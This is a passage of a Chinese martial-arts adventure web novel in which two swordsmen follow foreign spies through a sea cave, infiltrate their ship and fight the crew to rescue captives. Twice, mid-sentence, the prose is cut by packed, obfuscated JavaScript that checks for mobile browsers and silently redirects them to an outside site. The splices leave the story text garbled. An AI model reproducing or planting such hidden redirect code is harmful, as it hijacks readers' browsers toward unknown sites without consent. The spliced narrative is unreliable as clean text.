“别装了?劳烦您,住天字一号房的,是什么人啊?”韦祎蹲下问他。 在肖丰的“亲切”注视下颤颤巍巍打开记录册,“是,是凉州治下同辉郡治下三沙县治下的五十里郊黄沙寨的保长。” 这什么治下治下治下听得头疼,听到凉州就觉得不太对,更何况,一个小小的保长,连从九品末都算不上,根本不是个官儿。 “一个村寨的保长,从最西北跑到了最东边,横穿大齐国,而且有钱住天字号的上房?” 五十里的郊外,不是大沙漠里头,就是大深山里头。 此处有疑点,奈何没头绪,不过查案子不是韦祎的责任,当务之急是救回云攸纾。 涉及到了异国的密探渗透,应该是韦祎的三表姐夫所在的那个神秘部门管,等救了云攸纾,得想办法做通报。 打马奔到城外,果然见林地的一颗大树上用红漆大大的画了个符号。 “他们这镖局有趣,把标识画这么大,平日里押镖,是怕山匪强盗看不到他们要经过吗?”一校尉指着那处大红色的涂料笑话道。 “那是怕你看不见,好意思笑。”立刻有另一人驳他。 韦祎翻开殷濯给的小册子,一路按照标识追了有快三十多里路,此处已经远远偏离了官道,没有村落、没有人烟,只有朱愈。 幸好出发前拿上了火把。 天黑后的荒野,伸手不见五指的,朱愈突然出现可能会被紧张的校尉们乱刀砍死。 “你是不怕黑吗,一个人杵在野地里?”韦祎赶紧勒住马,差点撞上他。 “劫了平老板的不知道是强盗还是什么敌国的军队,不管是哪一个,都比天黑可怕多了!我一个人点着火把杵在野地里,再被他们看见,不要命了?”朱愈也没好气。 “果真血性男儿!黑夜有何可惧!”众校尉纷纷将朱愈引以为知己,跳下马去勾肩搭背。 “别摸我……”朱愈被一群不知道多久没好好洗过澡的兵强人锁男,浑身不自在,“快跟我走,我们小姐在野地里喂蚊子等着你们呢!”絮絮叨叨抱怨起来,“从昨个儿夜里爬起来,现在都整整十二个时辰了,还说你要跟我们小姐议亲呢,我们小姐议亲了这么多次,韦将军您真算不上好人选,没见过小姐为了哪个男人这么劳心劳力!” 众校尉发出阵阵听到了大八卦的兴奋呼声。这句话信息量挺大! 一偏头看见了肖丰,此人铜铃眼发光,表情微妙,就差把“我要回去告诉钱氿”这几个字写在脸上了。 “好了好了,你不要说了。”韦祎动手去捂朱愈的嘴,“我们快走吧!” 要不是朱愈说,到了。大家真没看出来这黑漆漆一块地里,罗易和十来个镖师正站在那。 “你们沥州人怎么都喜欢野地里不照亮?”众校尉惊奇道。 “难道你们也有夜视之能?”肖丰问。 “怎么?肖丰你能夜视?”韦祎真没听说过。 “能。” 韦祎心想,真有天赋异禀的人,“他们有几个人,几匹马?” “十七个男子,一个矮个老头,一位女子,二十匹马,都拴在东边。”肖丰无奈的数了数,“我骗你做什么?” “哎?这位将军果真是奇人!”罗易走上前来,互相引见一番。 “罗小姐好。”肖丰抱拳示意。众校尉纷纷上前问好,借着火把的光瞧一瞧这位八卦女主角。 罗易这边的人,以褚先生为首,对韦祎都很感兴趣,围上来问三问四。 韦祎闹了个脸红,罗易则面不改色,有说有笑。 “诸位,先干正事。你们也把火把熄掉,留一支即可。”罗易下令。众校尉知晓了这女子乃是未来的老大夫人,都非常听话。 刚才韦祎带众人跟着朱愈步行了一炷香的时间,才遇到了罗易。 现在,即使不去看,闻着气味、听着声音都知道这里是大海边。 罗易和众镖师又带着他们,借着微弱的火光向前摸索了半里路。 一股浓重的血腥气钻进鼻腔。 “哎呦喂谁给我下绊子!”一校尉骂道,摔了个五体投地。一骨碌站起身来,胡乱在地上摸一把,手里摸到了一张冰凉凉的人脸。 这东西不陌生。“这里有情况!”刚才摔倒的校尉打了个呼哨。 “是,就是这里了。”带路的罗易止住了脚步,接过火把往四下里一照。 林中的草地里,躺了数具尸身。 “你瞧瞧,我们也不知此处还有没有敌人,只得隐蔽起来,你若瞧着四处无人,我们便打起火把来检查。” “野地里设哨,我带来的人不够,罗小姐,你的人借我用用。” “请便。”罗易点头。随即揣摩到了韦祎为何又变了称呼,调笑道:“怎么当着众人的面儿,就不好意思了,不像前些日子似的,叫我逸希妹妹。” 人群中传来众多憋笑憋不住的噗噗噗声响。 被将一军。 这姑娘惹不得,韦祎算是记下了这个教训了,下次可不敢再拗了她的意。 于是肖丰让镖师一同列队,交代几句,指挥他们去布哨岗。保险起见,众人口含哨子,打起火把,每两人一组不可分开。 肖丰自己当然是不去放哨的。于是众人皆散开,中心处剩下韦祎、罗易、肖丰、褚先生、朱愈几个人,火把支到高处去,撩起衣摆蹲下身来翻尸体。 “你们是如何找到此处的?”韦祎一边翻,一边问。 “周将军留了标记,一路跟来的。”罗易也在翻尸体,刚才没敢点火把,只知道有些尸体在这,没仔细看。“他撕些小布条扔在草地里,叫我们好找!” 韦祎心中暗笑,怪不得罗易画的标识那么大一个。 在足有人膝盖那么高的草地里头找小布条指路,那是真的不容易。 粗略一数,尸身有六具。 皆是统一的黑色劲装,长相没什么特别的,身上亦无能证明身份的信物,揭开衣裳,亦无刺青,仔细摸一摸,身上连个铜板都没,真是穷鬼一群。 “也许是周将军杀的。”褚先生道。 罗易想起来,前些日子她隐约瞥见,周冲外袍下,藏的是一柄伸缩棍。 那东西被送给韦祎之前,罗晏拿着在罗易面前显摆过,所以她有印象。“我记得,周将军藏在身上的是棍子?这棍子打死人,哪会有这么大的血腥气?” “这边还有。”肖丰站在更靠近海边悬崖的地方,招呼大家过去。 刚才那都是全乎的,现在这里是不全乎的。 刀砍下的人头一颗,没头的尸身一具,断肢三条:有胳膊有腿儿,褚先生还在草丛泥里面搜出来一截砍断的小指头,另外还有血迹大片,盖在草叶上,渗在泥地里。 “这脑袋和身子应当是一人,两只左手、一条右腿,至少是两个人的,那小指头算是个搭头了。”将这些东西摆到一处去,褚先生笑道,“死了伤了这么多人,不知道他们还剩多少人?” “子隽可查过了?”罗易问。 “官驿的天字三号房里有异,昨晚的火就是他们放的,我去时已经没人在了,只算地铺的数量足有十人。”韦祎思量道:“不能放松警惕,不一定只来了这些人。” “实该如此。”褚先生摸一摸胡子,道:“我们没和这伙带人打过照面,只是跟在后头,到了这里,天全黑了,再找不到指路的信儿,不知周将军跟得怎么样?” “不太好。” 肖丰忽然出了声,弯下腰,从那堆残肢断臂里头捡起一截胳膊。抓在手里抛起来掂一掂,走过来拿给韦祎看。 “这是周冲的。” 心脏猛攥了一下子,面上却也没显出惊讶来,问:“嗯?怎么说?” 接过来仔细看上一圈,韦祎发现,自己没办法看一只手臂把周冲认出来。 “这个护腕,是他过二十岁生辰时我送的,这硬牛皮子是我用家乡 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褚先生赶忙答道:“刚才便琢磨了,我这老头子竟真晓得一处藏身之地,只是说出来有些离奇,韦将军莫怪。再往前去,原本有一处不大的河流入海口,是个瀑布,我小时候,咱们这闹海盗呢,都听说瀑布后头有个水洞,里头能停船,能住人,是海盗的老巢。当时我们只做故事听,没想到这几十年来河流移位,不在此处入海,这入海口瀑布便干枯了,后面竟然真的露出一个大洞口来。” 瀑布干枯了,海水可干不了,这洞里头还是能停船。 这么一说,这群歹人也许是要走水路。 陆路官道上关卡众多,绑着个人着实不好走,水路真是更便利。 于是招呼众人移动哨位,往那处干枯的瀑布处悄声行去。 天空上扑棱棱翅膀子响。 韦祎惊觉之下去摸身上的弩机,被走在身旁的罗易按住,悄声道“自己人!哦,自己鸟儿!”肖丰等众人看韦祎手势不动,自然不做反应。 朱愈伸了胳膊,一只鹰似的白鸟抓着他的胳膊停下。 众人脚步不停,已经走到了那处入海口旁的悬崖上,此处能看到裸露的河床,原本有五丈宽、二丈多深的河,如今只剩下不足尺深的水涓涓地往原本的瀑布上去,到了瀑布上,变成了淅淅沥沥的可怜水流,敲在石头上便只剩水雾。 众校尉便都自告奋勇下去探路。 韦祎考虑着,周冲都能被打伤,这些人一样是不行。摆手道:“你们等着,我去探路。” “我也去。”肖丰往前一步,拦住了韦祎,“一人做探不合规定。” 相处了这么些年,肖丰多少能摸到韦祎的思维回路,别看这人面上没什么表示,心里闷着呢!于是直接抬出规定来拦他。 两人正较劲,罗易插在中间分开二人,“别急,白鹰回来了,我堂哥马上到。” 因为罗易摸不准韦祎什么时候能回来,又没个联络方式,虽然让殷濯守着官驿等他,毕竟没准头。盘算自己手下的人武功还成,却没有上等高手,恐不敌这样有组织的歹人,于是,同时发了信给她知道去处的罗晏,叫他回来。 猜着韦祎刚折了手下,此时应该是不愿带别的手下犯险,才要求独自一人前去。那位青面獠牙的将军,也不愿放韦祎独自去。 所以,卖堂哥的时候到了! 一单骑紧跟着白鹰而来,竟然也是个不点火把就赶路的!到了近前才险险勒住了马。 罗晏跳下马来,环视一圈,“巧了!大家都在啊!” “你小点声。”韦祎去捂他的嘴。 “好好好,别捂着了,让我喘会儿。”罗晏小声抱怨道,“这白鹰飞得比马跑的快,我追着它打马,跑得火把都熄灭了!” 白鹰是朱愈养的,闻着香囊气味儿送信,只要不太远,在几个郡之内都是能送准的。 听罗易介绍,韦祎又是吃了一惊,这姑娘手下是真的不乏能人,这白鹰能在州内寻人送信,比马还快!更比信鸽多些好处,信鸽只能送固定地点,路上还怕被野猫、狐狸给扑了。 千万别让兵部听到,否则朱愈一定会被秘密抓走给军方专门训鹰去。 34. 暗渠涸 罗晏是看了信来的,早有准备,为便于行动,穿了一身利落的窄袖胡服,戴了个胡帽,穿着马靴。 韦祎和他熟,知道罗晏不喜欢戴帽子,也不喜欢扎幞头,他后来这些年从来是精细地扎好发髻,戴着样式时兴的玉冠束发,一派矜贵公子气质,花了好些时间在打扮上。 只要看到他戴了帽子,揭开帽,里面一定是没好好梳头。 “你好意思说我?你哪天好好梳头了?天天扎幞头你不怕额头上晒出印子来!”罗晏说。 罗晏一边歇息,一边大家叙述了事件始末,以及计划着将要做什么。众人都隐蔽着稍稍歇息,吃些干粮。 “行啊,我们走一趟。”罗晏把手里剩下的一小块饼全塞进嘴里,拍掉手里的干粮碎屑,嚼着,含糊不清地拍拍韦祎肩膀。 镖师们腰间都缠着用来翻上翻下的韧丝绦,能承受住二百来斤的重量,末端拴着个铁的尖头坠子,方便抛,也能当指虎用。 此时解下两条来,给韦祎和罗晏换上。 另有校尉捡来许多枯枝,用树上摘的柳条捆好,点燃了,吊着一点点下放到那面瀑布上,给二人照亮。 “肖丰,这里交给你照看。”韦祎嘱咐道。 “知道了,你自己注意。” “还有这个,拿着。”罗易拿来四个烟花筒,分别交给他们两个,“黄的烟花是让我们也下去,红的烟花是让我们赶紧跑,你们看着用。” 如此,算是准备停当,瀑布不算陡,因而往下走不用栓绳子,提气轻身,一层层跳下去。 到那大水洞处,脚挂着岩壁上的突起,倒吊下去,空出了双手点上火把,往洞里瞧一瞧。 洞底连着大海,自然是海水。 “不会要趟水吧!”罗晏小声哀嚎。 再往旁边照照,原来这大洞口里面连着好长的水洞,地势向上,于是只有洞口处有海水,再往里,是有些潮湿的地面。 连着海水的地方,两旁早已有前人开凿了栈道,倒像是个码头,如果水洞里停了船,那栈道正好可以将货物搬上搬下。 挥一挥火把向上面的人打招呼,上面随即穿来两声短哨,表示知晓了。 两人对视一眼,“你扔。”罗晏说。 韦祎算算距离,把手里的火把扔到了栈道上,火把轱辘轱辘,竟然停住了没有掉到水里去。罗晏又把自己手里那个火把递给韦祎,让他继续扔,韦祎接过来,一回生二回熟,顺利地扔到了栈道上面。 手里没有累赘了,于是再倒着翻过来,用手抓着岩壁,荡一下借力,便跳到了栈道上,整个过程好歹是没有湿了鞋。 只是罗晏头上的胡帽,在刚才倒吊时掉进了海里。韦祎借着火光看一眼,果真露出了帽子里胡乱扎的一个髻。 刚在栈道上落脚,罗晏便来抓韦祎的幞头,“你也倒吊了,为何你的帽不掉?” “嘿!你干什么?”韦祎还没来得及捡起火把,便先捂住头。 “别提了!我实惨,玉芝那白鹰每每见我骑马落得太远,便掉转头来飞到我这里抓我的头,想要把我拽起来飞,我是不可能被它抓起来的,薅掉了我好多头发!” 韦祎被他逗得哧地一笑,稍一松弛,头上的幞头便被罗晏抓去,抖开稍作整理,马上扎在了他自己的头上。 “你这人!” “头可断,发型不能乱。”罗晏道,“我都跟你以身犯险了,你帽子都不借我戴戴。” “那我怎么办?”韦祎抱怨着,试图将幞头抢回来,无果。只好把自己幞头下乱糟糟的发髻散开,重新抓一抓挽起来。 “你这……这黑漆漆的,谁看你发型?” “那不成,前面不是有歹人吗?怎么可能不打照面?” “你见歹人还要梳洗一番?这歹人真是好大的面子!” “当然了!听说是外国人呢,不好好整理仪表怎么成?” 两人一边压低了声音斗嘴,一边警戒着,踩着潮湿的石头地面,往水洞深处摸去。 水洞深处,可以看出这是上天造物形成的洞穴,想来也许是古时的地下河流,头顶上穿过岩石层,亦是河流,如今这一地上、一地下的两条河流都濒临断流。水洞里,地面上偶有手指头粗细的水流淌过,用手指点起来尝尝,是淡水。 头顶的石壁上也会有淡水渗下来,大都沿着洞壁流淌,也会从洞顶滴落下来,落在头上、身上。 “这是真的潮湿。”一般人也不会喜欢在这么一个水淋淋的地方行动,这才走了有一炷香的时间,摸着身上的衣服已经不干爽了。 “你要往好处想。潮湿有潮湿的好处,若是我们被困在这洞里,至少不会渴死。”罗晏答。 “这是好处吗?别乌鸦嘴!” 罗晏将火把靠近地面。虽然地上时不时有水流经过,痕迹大都会被冲掉,但稍微高些的石头上,还留着些痕迹。 “这是血。”罗晏伸手去摸,捻一捻手指,黏糊糊的,于是又将手伸到地上的小股水流中冲洗干净。 “那就是这条路了,不知道他们跑到洞深处做些什么,洞口处都没有守着的人。” “人家都得手了,该抓的抓到了,当然要全体大逃亡,守什么洞口?” 既然有了结论,二人便发足向前走去。 这洞穴竟然够深,虽然时宽时窄,但总归能够走得人。 洞内的路,先是向西,不久后又转为向北,至此已经走了快一个半时辰。现在罗晏走在前面,打着火把,韦祎走在后面,把火把给熄灭了。 不知道还要走多久,照亮的耗材要省着用。 罗晏前面忽然一停,走了神的韦祎砰地撞上他后背。 “嘘!”罗晏把耳朵贴在岩壁上听一听,“往前就是了。” 韦祎听闻,也附耳在岩壁上,果然,隐约能够听到些许人声。地上是一直有点点血迹,不知道这血是从谁的身上流出来的。 心中着急,于是韦祎抬腿便继续向前走,却感到旁边那人拍出一股掌风,火把熄灭。 “你干什么?”韦祎悄声问。 “别着急啊,一刻不停的走了这么久,你不累啊?” 乍然黑暗,眼睛完全不适应,只好四处摸着。 “这这这,既然已经到了,就赶快歇息一会儿,要打架了,先回一回力气。”听声音,罗晏已经在熄灭火把前看准了一处稍微干一些的,嵌在岩壁上的高石穴,缩身坐在里面了。 随后,伸出手来,把韦祎也拉了进去。 地上虽有手指粗的水流流经,但一来毕竟是地上嘛,心里会觉得不洁,二来这么小的水流,用手也舀不起来。于是伸手去岩壁上滴水的地方接着,只要一小会儿,就接了一捧水来。 罗晏似是在享受这接水、等着喝的乐趣。 “你不是带着水袋吗?你用手接那么久,喝到嘴里只剩一小口。” “这怎么一样,水袋里的水什么时候不能喝?水洞里探险一遭,当然要喝两口这里的水。” 韦祎听了,暗自翻个白眼,默不作声地靠着岩壁运功歇息。罗晏听着他没声了,于是猜他眼睛也是合上的,捧了水,悄悄地伸过去,黑暗里找韦祎的领子口在哪儿,好往里灌。 谁知韦祎没合眼,隐约看着这人伸了手过来,依照罗晏的秉性,此处没别的可玩的,那他定要往领口里灌水。 迅疾伸出手去钳住罗晏的手,两人在这小空间里推来推去,推手无妨,手里的水可不禁晃,推了两把,全洒出来。 “你!” “哈哈哈洒哪儿了?”罗晏用湿的手去摸韦祎身上,韦祎此时正缩着腿,水一洒,自然渗到了躯干和腿部中间的弯曲处。摸到了一片湿乎乎,罗晏憋着不笑出声来,“这等下见了歹人,他们定要传你尿了裤子。” 其实不用太担心云攸纾,歹人们劫走他,显然不是为了杀他,若想杀他,反而容易。周冲更让人担心,受了重伤,不知歹人带走他所为何事,若嫌他累赘,会不会一杀了之。 但是细想,真的还要担心?身负残疾,在齐国是不准做官的,至少,不能做抛头露面的官,在草料场、粮库、马场里做管事倒是可以。 可周冲这人,此生所愿就是重振门楣,洗脱父亲在军中所受的折辱,韦祎前些日子还说了要把他介绍到魏国公门下发展呢。 若是救了他回来,官是不能做了,他会不会像他的爹娘一样,生了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14357862|152805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孩子便又逼着孩子去重振门楣? 这怪谁呢?韦祎想想,若是自己留在东海郡守着云攸纾,让周冲去军中调人,会不会改了如今这事态? “你不是说怕庞将军曲将军他们阻挠,周冲调不动人,才亲自跑那一趟的?”罗晏疑惑道。 晃晃头,此时在运功,不能想这乱心的事情,引得功法走岔了路,更完蛋。于是便扯别的话:“你不是北上去了,辛苦那白鹰追你飞那么远。” “哼,我倒是想赶快北上,你当我走了有多远?我就到了北边相邻的盐郡,到了那儿,说好那边的掌柜在呢,结果我去了他又躲着我,我在南门进城,他同时就在北面出了城,把账本、亲随都给带走了,跑了和尚庙跑不了,我只好守着他家等他。”罗晏抱怨着,“等了他五天,可能是在外头终于把假账给做明白了,我刚接到白鹰的信,他马上就回来了把我给截住,非要款待我让我查账。” 罗晏接着说,“费好大力气把他给推脱了,我才跟着白鹰往这边来。回头,我至少把他折腾瘦下二十斤肥膘。” 他就在北边不远处的盐郡,若是他看盐郡无人,就回到了东海郡来,事情会不会有些不同?只要有高手在,歹人们便不会轻易下手,周冲是不是也不用落得今日的下场? 刚想到此处,韦祎便发觉脸腾地涨红。 自己与属下的事情做得不利,竟然有苛责到他人身上的想法! 罗晏原本与云攸纾的事情并无联系,愿意帮忙到这个程度,本就该万分感谢。只因为他是自己至近至信的友人,于是谢也不必称谢。 但是,已经是谢也不必称谢的友人,自己竟然拿一件拎不清的错事,起了怪他的心思,当真是小人!稍有念头,万分羞愧涌上来。 要说这周冲遭了这事,怪谁,韦祎咬牙想到,还不是怪自己? 血气上涌,韦祎抬起手来,朝自己两颊一拍,企图让自己清醒些。 谁知这黑暗中,旁边那位出剑指如闪电,反正韦祎是没见他这么迅捷过。正惊愕,剑指已经扫过身上的诸多要穴,点了穴,自然身体僵直动弹不得。 想要问时,发觉颌骨下也挨了一指头,舌根僵直不能言语,这便是哑穴也点上了。 罗晏吹亮火折子,照着韦祎。看了两眼,扒开眼皮子又伸手摸一把韦祎的耳朵,“我就觉得不对!”关切道:“你这面颊潮红、双目充血、耳廓发烫的,是行气出了岔子,还是中了什么毒?你当是中不了毒,能叫你中毒得是个惊天巨毒,今天可吃什么怪东西了?” 韦祎怒瞪他。关心就怪了,毒不到的,估计他是好奇有什么惊天巨毒他也去尝尝看来着。 “喂喂喂!我是怕你运功走火入魔了,赶忙帮你封上穴位,你瞪我!”罗晏想了想,“你若没事,你眨眨眼。” 韦祎怒眨眼。 于是罗晏动动手,解开了穴道,省得韦祎自己费内力冲开。 被打了岔,一时没顾上刚才那一茬,先伸了剑指作势要点罗晏。 罗晏一边跟他躲,一边故作正色道:“运完一周天没有啊,我们要赶紧救人去了!” “怎么你运完了?这么快?”韦祎故意鄙夷道。 “不能快不能快,还没呢。” “那你催!” 于是二人又消停下来各自运功。 “你别太忧心了,虽然周将军年少有为,真是可惜了,但毕竟是人各有命。”罗晏嘴闲不住,想想终究是说了,“我还想呢,若是早知道盐郡的人要跑路,不如我在东海郡多待几天再北上呢,说不定就不会出这档子事。” 见又提起这茬来,韦祎道:“得了吧,你当自己是什么绝世大高手?见了你在,就吓跑了?” “比你好,你怎样,你见了人闯进你屋里来,搜你身上,你竟然就那么醒着让他翻,容他跑了?”罗晏立刻反击,两个人又抓紧这一点点运功的时间斗嘴。 稍稍歇息,前面便是一个拐弯,竟然又转为向东,路也不再平坦了,全是些七拐八拐的洞口、转弯。瞅准一个大洞口,闪身进去,里头有两个黑衣的人,正撅着屁股搬东西。 一人一个,手刀砍在脖子上,接住了软倒的身体,轻轻放于地上。 35. 夷人语 韦祎朝罗晏努努嘴,换衣裳吧! 于是二人叹着气皱着眉,扒下那两件泛着馊气的黑色劲装换上,这倒地的二位身量高大,衣服尚可合身。 “二位仁兄啊,若是你们矮小些,我就不用穿你们这臭烘烘的衣裳了!”罗晏对着地上二人不满道。 “你赶了这大半天的路,身上没好闻到哪里去。”韦祎此时也正用手指头尖去拨动那堆衣裳,迟疑着。 抱着一点点侥幸心理,探头出去望一望,“他们人可不少!原来我们进来那个大水洞连着这里的水洞。” 这边,也有一个连着海的大洞口,洞口里停着一艘有帆有轮桨的快船。一眼望去,能看到三十人往上,在往船上搬箱子。 箱中何物? 正巧,倒地这二人原本也在搬箱子,地上还放着两只木箱。 掀开,一只里面放着个瓷瓶,用稻草扎了个严实。另一只里面东西杂乱,约莫有三五块马蹄金饼,一斗左右的大个珍珠,几串金珠子,几个小的玉把件,都是旧的,上面积了一层坚固的灰尘。 “看来,这里从前真的是海盗的老巢。”罗晏翻一翻,这两个箱子里可没有什么能让人提起兴趣来的东西。“这瓶子还成,古汉代的。” “这么糙,古汉代穷人家里用的吧?”韦祎也扒开稻草看了一眼,这瓶子上的花纹画得像闹着玩似的。 “能卖个几百两呢。”罗晏想了想,齐国这几十年发展得都不错,于是古董生意整体有了起色。 歹人在此停船,不仅掳了人走,更是想把这洞窟里海盗攒下的家底儿一块打包带走,真是一遭划算买卖。 “快些搬!要开船了!”外面有人一叠声的喊着,幸好没进到这个小洞窟来,只是在门口喊一声便走。 戴上斗笠,低着头,搬起箱子来,一直等到所有人都上了船,船上最后喊人时,才急匆匆跑上去。 “你们两个死哪里去了!”一个管事的大胡子骂道。 “窜稀了,去方便!”罗晏答。 “莫不是拉到洞子里去了吧,这洞子我们可是要回来的!”大胡子怒道。 “没有没有,我们哪儿敢,拉完都扔到海里去了!” “腌臜货!”大胡子又骂一声,“滚去把东西放下!” “是是是!”打发了看守入口的大胡子管事,二人一路鬼鬼祟祟往船舱里行去。 船就是普通的民间快船,甲板上有两间船长舱室,甲板下第一层有几间不错的大客房,还有用来提供餐食酒品的大厅。第二层是下等客房和仓库,第三层是通铺的船工房,看来被打晕的这两位地位还成,不是最下等的船工,可以被安排住在第二层。 仓库里是一名清瘦的男子负责清点数量。 最后上船的韦祎和罗晏远远缀着搬运的人群,跟去了仓库,“辛苦了,瓷器放在左边,金银放在右边。” 这位清瘦的男子温和多了,见此间的工作了事,竟然攀谈起来。 “这次我们大获全胜,等交了差,马上就能回国和家人团聚了。” 回国?果然不是大齐人。 “是啊,没想到这次这么顺利。”韦祎顺着他的话往下说。 “我也没想到,这齐国的护卫将领如此疏忽无能……等等,你们是哪一队的?叫什么名字!”这人终于察觉出不对来,扬起手掀了韦祎的斗笠,一见,果然是个生面孔,于是换了语言发问。 “原来你们是燕国人啊,齐国话说得不错嘛!”站在清瘦男子后面罗晏笑道,“不用辛苦我们问你了。” 韦祎蹲下来捡来斗笠,戴在头上。 那清瘦男子已经拔出了腰间的匕首,向罗晏刺去,罗晏一手抓住那人拿匕首的手,闪身腾挪,用另一只手掐住他的脖子,叫他喊不出声来。小声道:“你看见了我们的脸,所以,对不住了,有没有人替你算命说,你要客死异乡?” 握着那人的手,把他的匕首扎进他自己的心脏中去。 戴好了斗笠,韦祎看了一眼道:“啧,你很熟练啊。” “那是当然!”罗晏得意。 “死透了没?” “都没气了!”罗晏不满韦祎的质疑。 “那成,”韦祎道,“准备了。” “不好了!首领发急病了!快来人帮忙啊!”两人一边用燕国话喊着,一边跑了出去。 听到的人自然往仓库拥过去,二人趁乱,一扇扇门推看查看。 就在刚才,匕首捅进去有一会儿了,韦祎才问,“他叫啥?” “不知道啊。”罗晏道。 “你为什么不问一问他,再杀?” “你怎么不早提醒我?” 因为也不知道叫什么,只好说是“首领”发疯自尽了。 刚才船就已经驶离了水洞,此时还在靠着海岸线缓缓移动。 第二层都看完一遍了,计算一下,其实人也没有很多,一共才五十来人。 靠两个人杀出去,难是不难,只是麻烦。 “先下踩桨房里看看,好歹让船靠着海岸走。”在二楼时,下等房是四人一间,此时众人刚回到船上,纷纷回到房间换衣裳擦洗。 有的人换得快,已经换好出去了,有一小部分人还在磨蹭着,韦祎和罗晏推开舱门,看见几个赤条条的男人,双方都大叫了一声,只好给杀了。 十间房里,有一间房里有四个人,有两间房里剩两个人,韦祎和罗晏一路查看过来,已经都变成了尸体。 只是杀了这八个,沾了一身的血迹。 “什么嘛,弄了这一身,有没有什么衣裳可换?”罗晏去翻包裹。 “你好大的雅兴,换衣服什么时候不能换,先去底仓让他们停船。”韦祎扯着他便走,此时船上已经发现了死人,黑色劲装的众人跑上跑下,忙做一团。 罗晏正在楼梯上,底仓里迎面爬上了那个大胡子:“你们!乱跑什么,还不快去二层里参加布防?”此时,遇到了急事这伙歹人也不装了,都用燕国话交流。 可不凑巧,燕国话,韦祎和罗晏还是会说的。 韦寅就是翻译出身,通晓各国语言,家里的书本都是用外语写成的,小时候韦祎翻来看,韦寅便教他说几句,在师门也是学了不少各国语言,后来进了金吾卫,又学了一些。韦祎觉得外国语言学起来还挺简单的,也许是天赋的原因,偶尔去礼夷院帮老爹做事,与外国人沟通完全没有问题。 罗晏就惨了些,他的老爹讨厌北燕国,觉得那边太冷了,不愿意去。于是发配儿子去燕国做事,罗晏在那边断断续续待着跑腿儿,该说的话都会说了。 所谓容易学的部分,就是脏话。 于是韦祎听罗晏说了一句自己都不知道的燕国话,正疑惑呢,那大胡子勃然大怒,用燕国话大声说了些什么,韦祎能听懂的部分大概就是这个大胡子扬言要杀了罗晏,其他部分便听不懂了。 想来韦寅教小韦祎学外语的时候,不会教儿子说燕国脏话的,在礼夷院里见到的外国富商和官员,也不会当面说,于是便出现了知识盲区。 如今现场学,果然这脏话好记学得快。 这大胡子和其他小喽啰不同,身手好多了!腰间拔出一柄流星锤来,袭向罗晏胸膛。罗晏转身躲开,和他你来我往的打了起来。 已经跳到了楼下的韦祎仰头看看,“我帮你?” “不用!我来拦着他,你去底仓。”罗晏道。 “那好吧。”韦祎转身要走。 哎哎哎先别走!短剑扔给我!”罗晏又在上面叫道。 “你没带武器?” “是啊!” 真乃奇人也!没带就算了,刚才杀了那么多人,就不能顺手拿走一把刀?韦祎呆滞了一瞬,拔出后腰的十三寸碧血短剑,向上投去。 “谢啦!”罗晏一把推开大胡子的手,两个手指头捏住了十三寸碧血短剑的剑刃,甩出一个剑花来,握住剑柄,将大胡子逼退一步。 一边走着,一边拿出小弩机,上弦、搭上短箭,持在手中。 推开工作船舱的门,见标准的十二人一组快船队正在踩船桨,用弩指着为首的人,用燕国话命令他靠着海岸悬崖停船。 船工们惶惶然表示听不懂。 于是用齐国话交流,才发现船工是本地人,被掳掠至此,一直被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14357863|152805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 关在底层船舱里。 这就方便了,让他们靠悬崖停了船,韦祎又抽身往甲板走。路过刚才的楼梯,罗晏和大胡子竟然还在打。 “别玩了,有正事要做。”韦祎无奈道。 大胡子顿感受辱,“你们这些南方病秧子竟敢自大,爷爷我还没拿出真本事来!” 趁着大胡子大怒,罗晏欺身向前,短剑伸进了大胡子的大腿根上,从前至后的一拉。 “你恶不恶心!”大胡子还未叫出来,韦祎先叫了一声,怎么说这也是自己的剑,往哪里捅不好?捅到了那个地方去,日后还怎么用! 抽出短剑来,罗晏不再和大胡子周旋,“这人得留着,回头好交代。”一指头点住大胡子的穴道,找来一旁的渔网,捆严实,扔到了楼梯下面。 反应再慢,也该反应过来了,船上的众歹人都往韦祎、罗晏二人处围攻,二人边打边退,一直退到了甲板上。 “红的是什么,黄的是什么来着?”罗晏一边躲着众人的围攻,从腰间摸出两个信号烟花,问韦祎。 “你家的烟花,你问我?”韦祎着急地想了想,“黄的!” “你确定?” “不确定!” “要是他们不下来可都怪你。”罗晏先甩了锅,随即拉开黄烟花,向空中放出去,忐忑地等了半盏茶的时间。 半盏茶后,只听空中有人大喝一声,随即一个恶鬼似的魁梧身影重重落下,震得船都一晃。地上有人挡了他落地了,在空中便拔出腰刀,砍下两个人头来。 “哎!”韦祎腹诽,“真是太残忍了。” 肖丰只是打了头阵,等他落地,其他几个校尉纷纷从海崖上坠着绳子跳上船,兴奋地拔刀拼杀起来。韦祎随即问肖丰:“怎么这么快?” “这船桅杆上亮了灯,从悬崖上就能看见这里驶出一条船来,当然赶快过来。”肖丰答。 “这里且交给你们。”韦祎喊道,招呼罗晏再进屋找人去。 刚才探查了一遭,除了那大胡子之外,没有什么值得一提的高手,这才放心交给肖丰等人。 甲板下的第一层已经没有人了,众人都挤在甲板上打架呢。 这一层刚才没有查验过,此时无人,方便他们两个一间一间推开门去看。 不过也要时刻紧张着,要说刚才那大胡子的武功,对比起来,可能比周冲强一点,比肖丰要差。无论是看路数,还是看能力,都比不上那天夜里探查韦祎房间的黑影子。 那样的高手密探,不知道正隐于何处呢。 